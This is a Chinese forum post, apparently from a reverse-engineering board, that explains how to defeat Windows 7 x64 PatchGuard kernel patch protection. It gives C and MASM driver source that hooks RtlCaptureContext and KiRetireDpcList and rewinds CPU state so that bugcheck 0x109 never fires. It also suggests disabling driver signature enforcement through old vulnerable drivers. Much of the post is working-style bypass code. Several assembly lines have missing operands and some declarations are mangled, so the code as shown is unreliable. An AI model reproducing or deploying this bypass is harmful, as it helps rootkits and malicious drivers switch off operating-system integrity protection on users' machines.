过Patchguard的梗 附相关驱动源码
这里我研究的问题只有Patchguard怎么让丫去死,至于DSE这种东西,随便找个过时的有任意代码执行问题的驱动(比如DCR,VBOX,金山某士)去Patch一下CI就可以了。今天我也不是来跟人分享VMX或者patch文件那些无功夫的过PG手法。
我今天要做的是继续以前老外的pg的梗(由于我的笔记本跑win8不能10秒开机,所以只能用win7来撸)。
老外有几篇关于PG攻击的文章:
http://www.mcafee.com/in/resourc ... ting-patchguard.pdf
http://www.uninformed.org/?v=3&a=3&t=sumry
http://www.uninformed.org/?v=8&a=5&t=sumry
http://www.zer0mem.sk/?p=271
不过统统不能解决真正的问题,最后一个连接除外。不过其中的分析让我们知道两件事儿,第一件事儿是PG的蓝屏是通过DPC或者TIMER调用KeBugCheckEx来的。第二件事儿是PG调用KeBugCheckEx的时候,会恢复KeBugCheckEx上的修改。
通过读老外的文章我们知道通过DPC来的必须经过KiRetireDpcList这个玩意才能到达蓝屏(而通过TIMER来的经过的函数比较奇怪,这里也不想管他)。
老外有一个思路就是hook KeBugCheckEx来处理TIMER的PG引发的0x109蓝屏,但是因为KeBugCheckEx有恢复hook的可能(新的PG是复制了BugCheck的代码),所以我选择了一个KeBugCheckEx内部的调用的函数来进行挂钩,然后通过堆栈读出RCX判断一下错误号,这个调用函数也是老外早就提供好的就是RtlCaptureContext。
到这里我都和老外的思路近似,之后后面就不一样了。我只有2个hook点,我不想判断DPC是不是PG的,也不研究线程TIMER的枚举,我直接在KiRetireDpcList这里保存运行环境(CONTEXT),然后继续调用KiRetireDpcList代码,然后保存的恢复运行环境(RIP修好)。
如果发生了0x109蓝屏,那么经过我挂钩的RtlCaptureContext时,我主动插入一个DPC到DPC链条去,然后恢复保存的CONTEXT到Call KiRetireDpcList处的去重新执行的话(也就是说,把时光倒流了),这时候PG就无法蓝屏了。但是这里有一个小问题,如果来自线程TIMER的PG蓝屏,则不能开蜘蛛的大招 回到过去 去Pass掉TIMER。不过windows的机制让我知道如果在pg的timer里的时候,IRQL应该是PASSIVE级别的,在PASSIVE级别的话,可以将整个执行流程跳入线程开始去直接运行(这点是老外的资料里发现然后结合windbg调试出来的)。
那么我绕过PG的工具设计思路就是:
//有2个hook点!
//RtlCaptureContext-->保存ecx等物-->OrgCap-->ProcPatchGuard-->其他
// -->ECX==109 ,来自BugCheck-->修复STACK,重新插入空DPC
// -->如果IRQL是PASSIVE,则CallPointer去
// -->不是PASSIVE,则恢复环境-->到KiRetireDpcList重新执行DPC序列
//KiRetireDpcList -->保存环境-->原始-->还原环境
处理PG的主逻辑核心代码:hook库请自行准备了,至于KiRetireDpcList的定位,我是用符号文件定位的,其实也可以通过注册一个DPC去做回溯得到。
#include "stdafx.h"
typedef struct _HOOK_CTX
{
ULONG64 rax;
ULONG64 rcx;
ULONG64 rdx;
ULONG64 rbx;
ULONG64 rbp;
ULONG64 rsi;
ULONG64 rdi;
ULONG64 r8;
ULONG64 r9;
ULONG64 r10;
ULONG64 r11;
ULONG64 r12;
ULONG64 r13;
ULONG64 r14;
ULONG64 r15;
ULONG64 Rflags;
ULONG64 rsp;
}HOOK_CTX,*PHOOK_CTX;
typedef VOID (*TRtlCaptureContext)(PCONTEXT ContextRecord);
extern VOID AdjustStackCallPointer(
IN ULONG_PTR NewStackPointer,
IN PVOID StartAddress,
IN PVOID Argument);
extern CHAR GetCpuIndex();
extern VOID HookKiRetireDpcList();
extern VOID HookRtlCaptureContext();
extern VOID BackTo1942();
static ULONG g_ThreadContextRoutineOffset = 0;
static ULONG64 g_KeBugCheckExAddress=0;
static UINT g_MaxCpu=0;
KDPCg_TempDpc;
ULONG64 g_CpuContextAddress=0;
ULONG64 g_KiRetireDpcList=0;
//有2个hook点!
//RtlCaptureContext-->保存ecx等物-->OrgCap-->ProcPatchGuard-->其他
// -->ECX==109 ,来自BugCheck-->修复STACK,重新插入空DPC
// -->如果IRQL是PASSIVE,则CallPointer去
// -->不是PASSIVE,则恢复环境-->到KiRetireDpcList重新执行DPC序列
//KiRetireDpcList -->保存环境-->原始-->还原环境
HOOK_INFO OrgRtlCaptureContext;
HOOK_INFO OrgKiRetireDpcList;
//真心刁!
VOID
PgTempDpc(
IN struct _KDPC *Dpc,
IN PVOID DeferredContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2
)
{
return ;
}
VOID OnRtlCaptureContext(PHOOK_CTX hookCtx)
{
ULONG64 Rcx;
PCONTEXT pCtx = (PCONTEXT)(hookCtx->rcx);
ULONG64 Rip = *(ULONG64 *)(hookCtx->rsp);
TRtlCaptureContext OldRtlCaptureContext;
OldRtlCaptureContext = (TRtlCaptureContext)OrgRtlCaptureContext.Bridge;
OldRtlCaptureContext(pCtx);
pCtx->Rsp = hookCtx->rsp+0x08;
pCtx->Rip = Rip;
pCtx->Rax = hookCtx->rax;
pCtx->Rbx = hookCtx->rbx;
pCtx->Rcx = hookCtx->rcx;
pCtx->Rdx = hookCtx->rdx;
pCtx->Rsi = hookCtx->rsi;
pCtx->Rdi = hookCtx->rdi;
pCtx->Rbp = hookCtx->rbp;
pCtx->R8 = hookCtx->r8;
pCtx->R9 = hookCtx->r9;
pCtx->R10 = hookCtx->r10;
pCtx->R11 = hookCtx->r11;
pCtx->R12 = hookCtx->r12;
pCtx->R13 = hookCtx->r13;
pCtx->R14 = hookCtx->r14;
pCtx->R15 = hookCtx->r15;
Rcx = *(ULONG64 *)(hookCtx->rsp+0x48);
//一开始存储位置rcx=
//call之后就是
if(Rcx==0x109)
{
//PG的蓝屏!
if (Rip>=g_KeBugCheckExAddress && Rip <=g_KeBugCheckExAddress+0x64)
{
//来自KeBugCheckEx的蓝屏
// 先插入一个DPC
//检测IRQL的级别,如果是DPC_LEVEL的,则传说中的回到过去的技术。
//如果是普通的,则跳入ThreadContext即可
PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();
PVOID StartRoutine= *(PVOID **)(CurrentThread + g_ThreadContextRoutineOffset);
PVOID StackPointer= IoGetInitialStack();
CHARCpu = GetCpuIndex();
KeInitializeDpc(&g_TempDpc,
PgTempDpc,
NULL);
KeSetTargetProcessorDpc( &g_TempDpc, (CCHAR)Cpu );
//KeSetImportanceDpc( &g_TempDpc, HighImportance);
KeInsertQueueDpc( &g_TempDpc, NULL, NULL );
if(1){
//应该判断版本再做这个事儿!
PCHAR StackPage = (PCHAR)IoGetInitialStack();
*(ULONG64 *)StackPage = (((ULONG_PTR)StackPage+0x1000) & 0x0FFFFFFFFFFFFF000);//stack起始的MagicCode,
// 如果没有在win7以后的系统上会50蓝屏
}
if (KeGetCurrentIrql()!=PASSIVE_LEVEL)
{
//时光倒流!
BackTo1942();//回到call KiRetireDpcList去了!
}
//线程TIMER的直接执行线程去!
AdjustStackCallPointer(
(ULONG_PTR)StackPointer - 0x8,
StartRoutine,
NULL);
}
}
return ;
}
VOID JmpThreadContext()
{
PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();
PVOID StartRoutine= *(PVOID **)(CurrentThread + g_ThreadContextRoutineOffset);
PVOID StackPointer= IoGetInitialStack();
AdjustStackCallPointer(
(ULONG_PTR)StackPointer - 0x8,
StartRoutine,
NULL);
}
VOID DisablePatchProtectionSystemThreadRoutine(
IN PVOID Nothing)
{
PUCHAR CurrentThread = (PUCHAR)PsGetCurrentThread();
for (g_ThreadContextRoutineOffset = 0;
g_ThreadContextRoutineOffset < 0x1000;
g_ThreadContextRoutineOffset += 4)
{
if (*(PVOID **)(CurrentThread +
g_ThreadContextRoutineOffset) == (PVOID)DisablePatchProtectionSystemThreadRoutine)
break;
}
if (g_ThreadContextRoutineOffset<0x1000)
{
g_KeBugCheckExAddress = (ULONG64)GetCALLByName(L"KeBugCheckEx");
g_MaxCpu = (UINT)KeNumberProcessors;
g_CpuContextAddress = (ULONG64)ExAllocatePool(NonPagedPool,0x200*g_MaxCpu+0x1000);
if (!g_CpuContextAddress)
{
return ;
}
RtlZeroMemory(g_TempDpc,sizeof(KDPC)*0x100);
RtlZeroMemory((PVOID)g_CpuContextAddress,0x200 * g_MaxCpu);
HookFunction(pCfgData->_KiRetireDpcList,(ULONG_PTR)HookKiRetireDpcList,&OrgKiRetireDpcList);
g_KiRetireDpcList = (ULONG64)(OrgKiRetireDpcList.Bridge);
HookFunction((ULONG_PTR)GetCALLByName(L"RtlCaptureContext"),(ULONG_PTR)HookRtlCaptureContext,&OrgRtlCaptureContext);
}
}
NTSTATUS DisablePatchProtection() {
OBJECT_ATTRIBUTES Attributes;
NTSTATUS Status;
HANDLE ThreadHandle = NULL;
InitializeObjectAttributes(
&Attributes,
NULL,
OBJ_KERNEL_HANDLE,
NULL,
NULL);
Status = PsCreateSystemThread(
&ThreadHandle,
THREAD_ALL_ACCESS,
&Attributes,
NULL,
NULL,
DisablePatchProtectionSystemThreadRoutine,
NULL);
if (ThreadHandle)
ZwClose(
ThreadHandle);
return Status;
}
VOID InitDisablePatchGuard()
{
DisablePatchProtection();
}
汇编代码部分:
EXTERN g_CpuContextAddress:QWORD;
EXTERN OnRtlCaptureContext:PROC;
EXTERN g_KiRetireDpcList:QWORD;
.CODE
public AdjustStackCallPointer
AdjustStackCallPointer PROC
mov rsp, rcx
xchg r8, rcx
jmp rdx
AdjustStackCallPointer ENDP
public GetCpuIndex
GetCpuIndex PROC
mov al, gs:
movzx eax, al
ret
GetCpuIndex ENDP
public RestoreCpuContext
RestoreCpuContext PROC
push rax
sub rsp, 20h
call GetCpuIndex
add rsp, 20h
mov r11, 170h
mul r11
mov r11, rax
add r11, g_CpuContextAddress
pop rax
mov rsp,
mov rbx,
mov , rbx
movdqaxmm0, xmmword ptr
movdqaxmm1, xmmword ptr
movdqaxmm2, xmmword ptr
movdqaxmm3, xmmword ptr
movdqaxmm4, xmmword ptr
movdqaxmm5, xmmword ptr
movdqaxmm6, xmmword ptr
movdqaxmm7, xmmword ptr
movdqaxmm8, xmmword ptr
movdqaxmm9, xmmword ptr
movdqaxmm10, xmmword ptr
movdqaxmm11, xmmword ptr
movdqaxmm12, xmmword ptr
movdqaxmm13, xmmword ptr
movdqaxmm14, xmmword ptr
movdqaxmm15, xmmword ptr
mov rbx,
mov rsi,
mov rdi,
mov rbp,
mov r12,
mov r13,
mov r14,
mov r15,
mov rcx,
mov rdx,
mov r8,
mov r9,
ret
RestoreCpuContext ENDP
public BackTo1942
BackTo1942 PROC
sub rsp, 20h ;时光倒流
call GetCpuIndex
add rsp, 20h
mov r11, 170h
mul r11
mov r11, rax
add r11, g_CpuContextAddress
mov rax,
sub rax, 5
mov , rax; 这里直接RIP=RIP-5,也就是回到Call KiXX的5字节指令
jmp RestoreCpuContext
BackTo1942 ENDP
public HookKiRetireDpcList
HookKiRetireDpcList PROC
push rcx
push rdx
push r8
push r9
sub rsp, 20h
call GetCpuIndex
add rsp, 20h
pop r9
pop r8
pop rdx
pop rcx
mov r11, 170h
mul r11
add rax, g_CpuContextAddress ; RAX = g_CpuContext
mov , rbx
mov , rsi
mov , rdi
mov , rbp
mov , r12
mov , r13
mov , r14
mov , r15
movdqaxmmword ptr , xmm0
movdqaxmmword ptr , xmm1
movdqaxmmword ptr , xmm2
movdqaxmmword ptr , xmm3
movdqaxmmword ptr , xmm4
movdqaxmmword ptr , xmm5
movdqaxmmword ptr , xmm6
movdqaxmmword ptr , xmm7
movdqaxmmword ptr , xmm8
movdqaxmmword ptr , xmm9
movdqaxmmword ptr , xmm10
movdqaxmmword ptr , xmm11
movdqaxmmword ptr , xmm12
movdqaxmmword ptr , xmm13
movdqaxmmword ptr , xmm14
movdqaxmmword ptr , xmm15
mov , rcx
mov , rdx
mov , r8
mov , r9
mov r11,
mov , r11
mov r11, rsp
mov , r11
lea rax, RestoreCpuContext
mov ,rax
jmp g_KiRetireDpcList
HookKiRetireDpcList ENDP
public HookRtlCaptureContext
HookRtlCaptureContext PROC
push rsp
pushfq
push r15
push r14
push r13
push r12
push r11
push r10
push r9
push r8
push rdi
push rsi
push rbp
push rbx
push rdx
push rcx
push rax
mov rcx,rsp
sub rsp,28h
call OnRtlCaptureContext
add rsp, 28h
pop rax
pop rcx
pop rdx
pop rbx
pop rbp
pop rsi
pop rdi
pop r8
pop r9
pop r10
pop r11
pop r12
pop r13
pop r14
pop r15
popfq
pop rsp
ret
HookRtlCaptureContext ENDP
END
为了防止无意义的抄袭和不思考的代码利用者,这里就不提供完整工程了。
页:
[1]